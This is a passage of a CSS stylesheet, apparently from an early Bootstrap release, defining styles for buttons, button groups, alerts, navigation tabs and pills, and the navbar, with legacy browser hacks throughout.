0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n     -moz-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-large {\n  padding: 9px 14px;\n  font-size: 15px;\n  line-height: normal;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.btn-large [class^=\"icon-\"] {\n  margin-top: 1px;\n}\n\n.btn-small {\n  padding: 5px 9px;\n  font-size: 11px;\n  line-height: 16px;\n}\n\n.btn-small [class^=\"icon-\"] {\n  margin-top: -1px;\n}\n\n.btn-mini {\n  padding: 2px 6px;\n  font-size: 11px;\n  line-height: 14px;\n}\n\n.btn-primary,\n.btn-primary:hover,\n.btn-warning,\n.btn-warning:hover,\n.btn-danger,\n.btn-danger:hover,\n.btn-success,\n.btn-success:hover,\n.btn-info,\n.btn-info:hover,\n.btn-inverse,\n.btn-inverse:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary.active,\n.btn-warning.active,\n.btn-danger.active,\n.btn-success.active,\n.btn-info.active,\n.btn-inverse.active {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.btn {\n  border-color: #ccc;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary {\n  background-color: #0074cc;\n  *background-color: #0055cc;\n  background-image: -ms-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0055cc));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -o-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -moz-linear-gradient(top, #0088cc, #0055cc);\n  background-image: linear-gradient(top, #0088cc, #0055cc);\n  background-repeat: repeat-x;\n  border-color: #0055cc #0055cc #003580;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#0088cc', endColorstr='#0055cc', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-primary:hover,\n.btn-primary:active,\n.btn-primary.active,\n.btn-primary.disabled,\n.btn-primary[disabled] {\n  background-color: #0055cc;\n  *background-color: #004ab3;\n}\n\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #004099 \\9;\n}\n\n.btn-warning {\n  background-color: #faa732;\n  *background-color: #f89406;\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  border-color: #f89406 #f89406 #ad6704;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-warning:hover,\n.btn-warning:active,\n.btn-warning.active,\n.btn-warning.disabled,\n.btn-warning[disabled] {\n  background-color: #f89406;\n  *background-color: #df8505;\n}\n\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #c67605 \\9;\n}\n\n.btn-danger {\n  background-color: #da4f49;\n  *background-color: #bd362f;\n  background-image: -ms-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: linear-gradient(top, #ee5f5b, #bd362f);\n  background-repeat: repeat-x;\n  border-color: #bd362f #bd362f #802420;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-danger:hover,\n.btn-danger:active,\n.btn-danger.active,\n.btn-danger.disabled,\n.btn-danger[disabled] {\n  background-color: #bd362f;\n  *background-color: #a9302a;\n}\n\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #942a25 \\9;\n}\n\n.btn-success {\n  background-color: #5bb75b;\n  *background-color: #51a351;\n  background-image: -ms-linear-gradient(top, #62c462, #51a351);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));\n  background-image: -webkit-linear-gradient(top, #62c462, #51a351);\n  background-image: -o-linear-gradient(top, #62c462, #51a351);\n  background-image: -moz-linear-gradient(top, #62c462, #51a351);\n  background-image: linear-gradient(top, #62c462, #51a351);\n  background-repeat: repeat-x;\n  border-color: #51a351 #51a351 #387038;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-success:hover,\n.btn-success:active,\n.btn-success.active,\n.btn-success.disabled,\n.btn-success[disabled] {\n  background-color: #51a351;\n  *background-color: #499249;\n}\n\n.btn-success:active,\n.btn-success.active {\n  background-color: #408140 \\9;\n}\n\n.btn-info {\n  background-color: #49afcd;\n  *background-color: #2f96b4;\n  background-image: -ms-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: linear-gradient(top, #5bc0de, #2f96b4);\n  background-repeat: repeat-x;\n  border-color: #2f96b4 #2f96b4 #1f6377;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-info:hover,\n.btn-info:active,\n.btn-info.active,\n.btn-info.disabled,\n.btn-info[disabled] {\n  background-color: #2f96b4;\n  *background-color: #2a85a0;\n}\n\n.btn-info:active,\n.btn-info.active {\n  background-color: #24748c \\9;\n}\n\n.btn-inverse {\n  background-color: #414141;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #555555, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#222222));\n  background-image: -webkit-linear-gradient(top, #555555, #222222);\n  background-image: -o-linear-gradient(top, #555555, #222222);\n  background-image: -moz-linear-gradient(top, #555555, #222222);\n  background-image: linear-gradient(top, #555555, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#555555', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-inverse:hover,\n.btn-inverse:active,\n.btn-inverse.active,\n.btn-inverse.disabled,\n.btn-inverse[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.btn-inverse:active,\n.btn-inverse.active {\n  background-color: #080808 \\9;\n}\n\nbutton.btn,\ninput[type=\"submit\"].btn {\n  *padding-top: 2px;\n  *padding-bottom: 2px;\n}\n\nbutton.btn::-moz-focus-inner,\ninput[type=\"submit\"].btn::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton.btn.btn-large,\ninput[type=\"submit\"].btn.btn-large {\n  *padding-top: 7px;\n  *padding-bottom: 7px;\n}\n\nbutton.btn.btn-small,\ninput[type=\"submit\"].btn.btn-small {\n  *padding-top: 3px;\n  *padding-bottom: 3px;\n}\n\nbutton.btn.btn-mini,\ninput[type=\"submit\"].btn.btn-mini {\n  *padding-top: 1px;\n  *padding-bottom: 1px;\n}\n\n.btn-group {\n  position: relative;\n  *margin-left: .3em;\n  *zoom: 1;\n}\n\n.btn-group:before,\n.btn-group:after {\n  display: table;\n  content: \"\";\n}\n\n.btn-group:after {\n  clear: both;\n}\n\n.btn-group:first-child {\n  *margin-left: 0;\n}\n\n.btn-group + .btn-group {\n  margin-left: 5px;\n}\n\n.btn-toolbar {\n  margin-top: 9px;\n  margin-bottom: 9px;\n}\n\n.btn-toolbar .btn-group {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n}\n\n.btn-group > .btn {\n  position: relative;\n  float: left;\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.btn-group > .btn:last-child,\n.btn-group > .dropdown-toggle {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.btn-group > .btn.large:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 6px;\n          border-bottom-left-radius: 6px;\n  -webkit-border-top-left-radius: 6px;\n          border-top-left-radius: 6px;\n  -moz-border-radius-bottomleft: 6px;\n  -moz-border-radius-topleft: 6px;\n}\n\n.btn-group > .btn.large:last-child,\n.btn-group > .large.dropdown-toggle {\n  -webkit-border-top-right-radius: 6px;\n          border-top-right-radius: 6px;\n  -webkit-border-bottom-right-radius: 6px;\n          border-bottom-right-radius: 6px;\n  -moz-border-radius-topright: 6px;\n  -moz-border-radius-bottomright: 6px;\n}\n\n.btn-group > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group > .btn:active,\n.btn-group > .btn.active {\n  z-index: 2;\n}\n\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n\n.btn-group > .dropdown-toggle {\n  *padding-top: 4px;\n  padding-right: 8px;\n  *padding-bottom: 4px;\n  padding-left: 8px;\n  -webkit-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group > .btn-mini.dropdown-toggle {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.btn-group > .btn-small.dropdown-toggle {\n  *padding-top: 4px;\n  *padding-bottom: 4px;\n}\n\n.btn-group > .btn-large.dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n\n.btn-group.open .dropdown-toggle {\n  background-image: none;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group.open .btn.dropdown-toggle {\n  background-color: #e6e6e6;\n}\n\n.btn-group.open .btn-primary.dropdown-toggle {\n  background-color: #0055cc;\n}\n\n.btn-group.open .btn-warning.dropdown-toggle {\n  background-color: #f89406;\n}\n\n.btn-group.open .btn-danger.dropdown-toggle {\n  background-color: #bd362f;\n}\n\n.btn-group.open .btn-success.dropdown-toggle {\n  background-color: #51a351;\n}\n\n.btn-group.open .btn-info.dropdown-toggle {\n  background-color: #2f96b4;\n}\n\n.btn-group.open .btn-inverse.dropdown-toggle {\n  background-color: #222222;\n}\n\n.btn .caret {\n  margin-top: 7px;\n  margin-left: 0;\n}\n\n.btn:hover .caret,\n.open.btn-group .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.btn-mini .caret {\n  margin-top: 5px;\n}\n\n.btn-small .caret {\n  margin-top: 6px;\n}\n\n.btn-large .caret {\n  margin-top: 6px;\n  border-top-width: 5px;\n  border-right-width: 5px;\n  border-left-width: 5px;\n}\n\n.dropup .btn-large .caret {\n  border-top: 0;\n  border-bottom: 5px solid #000000;\n}\n\n.btn-primary .caret,\n.btn-warning .caret,\n.btn-danger .caret,\n.btn-info .caret,\n.btn-success .caret,\n.btn-inverse .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 0.75;\n  filter: alpha(opacity=75);\n}\n\n.alert {\n  padding: 8px 35px 8px 14px;\n  margin-bottom: 18px;\n  color: #c09853;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  background-color: #fcf8e3;\n  border: 1px solid #fbeed5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  line-height: 18px;\n}\n\n.alert-success {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n\n.alert-danger,\n.alert-error {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #eed3d7;\n}\n\n.alert-info {\n  color: #3a87ad;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n\n.alert-block {\n  padding-top: 14px;\n  padding-bottom: 14px;\n}\n\n.alert-block > p,\n.alert-block > ul {\n  margin-bottom: 0;\n}\n\n.alert-block p + p {\n  margin-top: 5px;\n}\n\n.nav {\n  margin-bottom: 18px;\n  margin-left: 0;\n  list-style: none;\n}\n\n.nav > li > a {\n  display: block;\n}\n\n.nav > li > a:hover {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n\n.nav > .pull-right {\n  float: right;\n}\n\n.nav .nav-header {\n  display: block;\n  padding: 3px 15px;\n  font-size: 11px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #999999;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  text-transform: uppercase;\n}\n\n.nav li + .nav-header {\n  margin-top: 9px;\n}\n\n.nav-list {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-bottom: 0;\n}\n\n.nav-list > li > a,\n.nav-list .nav-header {\n  margin-right: -15px;\n  margin-left: -15px;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n\n.nav-list > li > a {\n  padding: 3px 15px;\n}\n\n.nav-list > .active > a,\n.nav-list > .active > a:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n  background-color: #0088cc;\n}\n\n.nav-list [class^=\"icon-\"] {\n  margin-right: 2px;\n}\n\n.nav-list .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.nav-tabs,\n.nav-pills {\n  *zoom: 1;\n}\n\n.nav-tabs:before,\n.nav-pills:before,\n.nav-tabs:after,\n.nav-pills:after {\n  display: table;\n  content: \"\";\n}\n\n.nav-tabs:after,\n.nav-pills:after {\n  clear: both;\n}\n\n.nav-tabs > li,\n.nav-pills > li {\n  float: left;\n}\n\n.nav-tabs > li > a,\n.nav-pills > li > a {\n  padding-right: 12px;\n  padding-left: 12px;\n  margin-right: 2px;\n  line-height: 14px;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n\n.nav-tabs > li {\n  margin-bottom: -1px;\n}\n\n.nav-tabs > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  line-height: 18px;\n  border: 1px solid transparent;\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #dddddd;\n}\n\n.nav-tabs > .active > a,\n.nav-tabs > .active > a:hover {\n  color: #555555;\n  cursor: default;\n  background-color: #ffffff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n\n.nav-pills > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  margin-top: 2px;\n  margin-bottom: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.nav-pills > .active > a,\n.nav-pills > .active > a:hover {\n  color: #ffffff;\n  background-color: #0088cc;\n}\n\n.nav-stacked > li {\n  float: none;\n}\n\n.nav-stacked > li > a {\n  margin-right: 0;\n}\n\n.nav-tabs.nav-stacked {\n  border-bottom: 0;\n}\n\n.nav-tabs.nav-stacked > li > a {\n  border: 1px solid #ddd;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.nav-tabs.nav-stacked > li:first-child > a {\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs.nav-stacked > li:last-child > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.nav-tabs.nav-stacked > li > a:hover {\n  z-index: 2;\n  border-color: #ddd;\n}\n\n.nav-pills.nav-stacked > li > a {\n  margin-bottom: 3px;\n}\n\n.nav-pills.nav-stacked > li:last-child > a {\n  margin-bottom: 1px;\n}\n\n.nav-tabs .dropdown-menu {\n  -webkit-border-radius: 0 0 5px 5px;\n     -moz-border-radius: 0 0 5px 5px;\n          border-radius: 0 0 5px 5px;\n}\n\n.nav-pills .dropdown-menu {\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.nav-tabs .dropdown-toggle .caret,\n.nav-pills .dropdown-toggle .caret {\n  margin-top: 6px;\n  border-top-color: #0088cc;\n  border-bottom-color: #0088cc;\n}\n\n.nav-tabs .dropdown-toggle:hover .caret,\n.nav-pills .dropdown-toggle:hover .caret {\n  border-top-color: #005580;\n  border-bottom-color: #005580;\n}\n\n.nav-tabs .active .dropdown-toggle .caret,\n.nav-pills .active .dropdown-toggle .caret {\n  border-top-color: #333333;\n  border-bottom-color: #333333;\n}\n\n.nav > .dropdown.active > a:hover {\n  color: #000000;\n  cursor: pointer;\n}\n\n.nav-tabs .open .dropdown-toggle,\n.nav-pills .open .dropdown-toggle,\n.nav > li.dropdown.open.active > a:hover {\n  color: #ffffff;\n  background-color: #999999;\n  border-color: #999999;\n}\n\n.nav li.dropdown.open .caret,\n.nav li.dropdown.open.active .caret,\n.nav li.dropdown.open a:hover .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.tabs-stacked .open > a:hover {\n  border-color: #999999;\n}\n\n.tabbable {\n  *zoom: 1;\n}\n\n.tabbable:before,\n.tabbable:after {\n  display: table;\n  content: \"\";\n}\n\n.tabbable:after {\n  clear: both;\n}\n\n.tab-content {\n  overflow: auto;\n}\n\n.tabs-below > .nav-tabs,\n.tabs-right > .nav-tabs,\n.tabs-left > .nav-tabs {\n  border-bottom: 0;\n}\n\n.tab-content > .tab-pane,\n.pill-content > .pill-pane {\n  display: none;\n}\n\n.tab-content > .active,\n.pill-content > .active {\n  display: block;\n}\n\n.tabs-below > .nav-tabs {\n  border-top: 1px solid #ddd;\n}\n\n.tabs-below > .nav-tabs > li {\n  margin-top: -1px;\n  margin-bottom: 0;\n}\n\n.tabs-below > .nav-tabs > li > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.tabs-below > .nav-tabs > li > a:hover {\n  border-top-color: #ddd;\n  border-bottom-color: transparent;\n}\n\n.tabs-below > .nav-tabs > .active > a,\n.tabs-below > .nav-tabs > .active > a:hover {\n  border-color: transparent #ddd #ddd #ddd;\n}\n\n.tabs-left > .nav-tabs > li,\n.tabs-right > .nav-tabs > li {\n  float: none;\n}\n\n.tabs-left > .nav-tabs > li > a,\n.tabs-right > .nav-tabs > li > a {\n  min-width: 74px;\n  margin-right: 0;\n  margin-bottom: 3px;\n}\n\n.tabs-left > .nav-tabs {\n  float: left;\n  margin-right: 19px;\n  border-right: 1px solid #ddd;\n}\n\n.tabs-left > .nav-tabs > li > a {\n  margin-right: -1px;\n  -webkit-border-radius: 4px 0 0 4px;\n     -moz-border-radius: 4px 0 0 4px;\n          border-radius: 4px 0 0 4px;\n}\n\n.tabs-left > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #dddddd #eeeeee #eeeeee;\n}\n\n.tabs-left > .nav-tabs .active > a,\n.tabs-left > .nav-tabs .active > a:hover {\n  border-color: #ddd transparent #ddd #ddd;\n  *border-right-color: #ffffff;\n}\n\n.tabs-right > .nav-tabs {\n  float: right;\n  margin-left: 19px;\n  border-left: 1px solid #ddd;\n}\n\n.tabs-right > .nav-tabs > li > a {\n  margin-left: -1px;\n  -webkit-border-radius: 0 4px 4px 0;\n     -moz-border-radius: 0 4px 4px 0;\n          border-radius: 0 4px 4px 0;\n}\n\n.tabs-right > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #eeeeee #dddddd;\n}\n\n.tabs-right > .nav-tabs .active > a,\n.tabs-right > .nav-tabs .active > a:hover {\n  border-color: #ddd #ddd #ddd transparent;\n  *border-left-color: #ffffff;\n}\n\n.navbar {\n  *position: relative;\n  *z-index: 2;\n  margin-bottom: 18px;\n  overflow: visible;\n}\n\n.navbar-inner {\n  min-height: 40px;\n  padding-right: 20px;\n  padding-left: 20px;\n  background-color: #2c2c2c;\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n          box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n}\n\n.navbar .container {\n  width: auto;\n}\n\n.nav-collapse.collapse {\n  height: auto;\n}\n\n.navbar {\n  color: #999999;\n}\n\n.navbar .brand:hover {\n  text-decoration: none;\n}\n\n.navbar .brand {\n  display: block;\n  float: left;\n  padding: 8px 20px 12px;\n  margin-left: -20px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 1;\n  color: #999999;\n}\n\n.navbar .navbar-text {\n  margin-bottom: 0;\n  line-height: 40px;\n}\n\n.navbar .navbar-link {\n  color: #999999;\n}\n\n.navbar .navbar-link:hover {\n  color: #ffffff;\n}\n\n.navbar .btn,\n.navbar .btn-group {\n  margin-top: 5px;\n}\n\n.navbar .btn-group .btn {\n  margin: 0;\n}\n\n.navbar-form {\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.navbar-form:before,\n.navbar-form:after {\n  display: table;\n  content: \"\";\n}\n\n.navbar-form:after {\n  clear: both;\n}\n\n.navbar-form input,\n.navbar-form select,\n.navbar-form .radio,\n.navbar-form .checkbox {\n  margin-top: 5px;\n}\n\n.navbar-form input,\n.navbar-form select {\n  display: inline-block;\n  margin-bottom: 0;\n}\n\n.navbar-form input[type=\"image\"],\n.navbar-form input[type=\"checkbox\"],\n.navbar-form input[type=\"radio\"] {\n  margin-top: 3px;\n}\n\n.navbar-form .input-append,\n.navbar-form .input-prepend {\n  margin-top: 6px;\n  white-space: nowrap;\n}\n\n.navbar-form .input-append input,\n.navbar-form .input-prepend input {\n  margin-top: 0;\n}\n\n.navbar-search {\n  position: relative;\n  float: left;\n  margin-top: 6px;\n  margin-bottom: 0;\n}\n\n.navbar-search .search-query {\n  padding: 4px 9px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 1;\n  color: #ffffff;\n  background-color: #626262;\n  border: 1px solid #151515;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n  -webkit-transition: none;\n     -moz-transition: none;\n      -ms-transition: none;\n       -o-transition: none;\n          transition: none;\n}\n\n.navbar-search .search-query:-moz-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:-ms-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query::-webkit-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:focus,\n.navbar-search .search-query.focused {\n  padding: 5px 10px;\n  color: #333333;\n  text-shadow: 0 1px 0 #ffffff;\n  background-color: #ffffff;\n  border: 0;\n  outline: 0;\n  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n          box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n  margin-bottom: 0;\n}\n\n.navbar-fixed-top .navbar-inner,\n.navbar-fixed-bottom .navbar-inner {\n  padding-right: 0;\n  padding-left: 0;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.navbar-fixed-top {\n  top: 0;\n}\n\n.navbar-fixed-bottom {\n  bottom: 0;\n}\n\n.navbar .nav {\n  position: relative;\n  left: 0;\n  display: block;\n  float: left;\n  margin: 0 10px 0 0;\n}\n\n.navbar .nav.pull-right {\n  float: right;\n}\n\n.navbar .nav > li {\n  display: block;\n  float: left;\n}\n\n.navbar .nav > li > a {\n  float: none;\n  padding: 9px 10px 11px;\n  line-height: 19px;\n  color: #999999;\n  text-decoration: none;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.navbar .btn {\n  display: inline-block;\n  padding: 4px 10px 4px;\n  margin: 5px 5px 6px;\n  line-height: 18px;\n}\n\n.navbar .btn-group {\n  padding: 5px 5px 6px;\n  margin: 0;\n}\n\n.navbar .nav > li > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: transparent;\n}\n\n.navbar .nav .active > a,\n.navbar .nav .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #222222;\n}\n\n.navbar .divider-vertical {\n  width: 1px;\n  height: 40px;\n  margin: 0 9px;\n  overflow: hidden;\n  background-color: #222222;\n  border-right: 1px solid #333333;\n}\n\n.navbar .nav.pull-right {\n  margin-right: 0;\n  margin-left: 10px;\n}\n\n.navbar .btn-navbar {\n  display: none;\n  float: right;\n  padding: 7px 10px;\n  margin-right: 5px;\n  margin-left: 5px;\n  background-color: #2c2c2c;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n          